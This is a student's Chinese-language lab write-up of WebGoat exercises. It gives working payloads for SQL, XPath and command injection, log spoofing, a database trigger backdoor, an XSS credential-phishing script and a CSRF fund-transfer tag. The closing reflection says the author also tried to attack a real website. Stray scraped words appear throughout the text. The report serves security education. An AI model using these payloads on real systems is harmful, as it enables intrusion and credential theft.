Exp9 20155218 Web安全基础实践

Exp9 Web安全基础实践

一、实验环境配置:

  • 一、在命令行里执行:java -jar webgoat-container-7.1-exec.jar运行WebGoat,文件夹里明明有了,可是没成功;
  • 二、删了从新导入一次,居然成功了,有时候就是这么奇怪;
  • 三、而后在浏览器中打开http://localhost:8080/WebGoat进入登陆界面,开始实验:
  • 四、发现mac也能够作,就选用了mac;具体步骤与linux相符;java

    二、实验项目:

    (1)、Injection Flaws

    1)、Command Injection

  • 一、使用“检查”找到相应位置,修改代码,任何在命令行中使用的命令均可以在这里输入;
    node

  • 二、攻击成功:

    linux

2)、Numeric SQL Injection

  • 一、目标: 尝试注入一个致使全部天气数据显示的SQL字符串。
  • 二、解决方法:使用WebScarab拦截发布请求,并用101 or 1 = 1替换101!
    web

  • 三、截图:sql

3) 、 Log Spoofing

  • 一、目标:
    下面的灰色区域表示将在Web服务器的日志文件中记录的内容。
    *您的目标是让它像用户名“admin”登陆成功。
    经过向日志文件添加脚原本提高攻击。
  • 二、解决方法:在用户框里输入
xzh%0d%0aLogin Succeeded for username: admin
  • 三、实验结果:

4)、XPATH Injection

  • 一、目标:下面的表格容许员工看到他们的全部我的数据,包括他们的工资。 您的账户是Mike / test123。 您的目标是尝试查看其余员工数据。
  • 二、方法:看一下XPATH查询的构建:
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
  • 三、Xpath注入攻击本质上和SQL注入攻击是相似的,都是输入一些恶意的查询等代码字符串,从而对网站进行攻击。XPath注入攻击,是指利用XPath 解析器的松散输入和容错特性,可以在 URL、表单或其它信息上附带恶意的XPath 查询代码,以得到权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它容许攻击者在事先不知道XPath查询相关知 识的状况下,经过XPath查询获得一个XML文档的完整内容。
  • 四、输入:这个跟sql注入差很少;
    在用户名和密码处都输入
xzh ' or 1=1 or ''= '
  • 五、获得的计算机解释:
expression = "/employees/employee[ ( loginID/text()='xzh' or '' ='') and (  passwd/text()='xzh' or ''='' ) ]"
  • 6:截图:

5)、String SQL Injection

  • 一、直接输入
' or 1=1 --
  • 二、数据库

  • 三、这个好简单,第一次啥也没参考,一次成功;express

6)、LAB: SQL Injection

1、Stage 1:String SQL Injection
  • 一、目标:使用字符串SQL注入绕过验证。 使用SQL注入做为老板('Neville')登陆而不使用正确的密码。 验证Neville的我的资料能够被查看,而且全部功能均可用(包括搜索,建立和删除)。
  • 二、尝试:想修改用户名,可是没有成功;看了一下后台代码,整理了一下思路,++发现应该是可以成功登录,可是在跳转页面的时候要根据 userid进行跳转,而个人userid被我改为了 userid -- 天然也就出错了++

  • 三、那只能修改输入框对输入的字符长度,并在在密码框输入,' or 1 = 1 --
  • 四、成功登录:

2、Stage 3: Execute SQL Injection to bypass authorization.
  • 一、目标:做为普通员工'Larry',使用SQL注入到View函数的参数(从List Staff页面)来查看老板的简介('Neville')。
  • 二、用上一步一样的办法登录,而后修改value的值由原来的员工id 101 修改成
101 or 1=1 order by salary desc

因为老板的工资最高,最终排序出来的的一个就是老板
浏览器

  • 三、截图:
  • 四、若是咱们换一个员工id(curly)登录,仅仅将value值改成
103 or 1=1

天然显示出了第一个员工(larry)的信息;
安全

7)、Database Backdoors

  • 一、目标:使用字符串SQL注入来执行多个SQL语句。 第一阶段使用易受攻击的字段建立两条SQL语句。 第一个是系统,第二个彻底是你的。 您的账户ID为101.此页面容许您查看密码,ssn和工资。 尝试注入另外一个更新来更新薪水
  • 二、输入101; update employee set salary=5218来修改工资;
  • 三、一样注入一个数据库后门,
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155218@qq.com' WHERE userid = NEW.userid

8)Phishing with XSS

  • 一、目标:网站钓鱼攻击:
  • 二、方法:将XSS攻击代码插入到搜索字段:
</form><script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}
</script>
<form name="phish"><br><br><HR><H3>
This feature requires account login:</H2><br><br>Enter
Username:<br><input type="text"
name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login"
onclick="hack()">
</form><br><br><HR>
  • 三、输入信息点击搜索;攻击成功

    #### 9)、Stored XSS Attacks
  • 一、目标:在表单输入字段中放置HTML标签。
  • 二、在留言板中输入:
  • 三、打开时,跳出弹框;但xss毫不是仅仅是个弹框;
    服务器

    10)、Cross Site Request Forgery (CSRF)

  • 目标:以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
  • 成功:

    三、实验体会:

  • 在此次实验中,我一边学习网站上的攻击方式,一边尝试攻击一个网站(故意加了一个基金讨论群,而后果不其然开始推销他们的东西),可是很遗憾没有攻击进去,让我有点意外,看来我仍是须要继续学习。而且在作其中的一个实验的时候,感受这些思路都差很少,就按照本身的思路去作,虽然没成功,可是找到了失败的缘由,也算是有收获了。最后谢谢老师一学期的指导。

相关文章
相关标签/搜索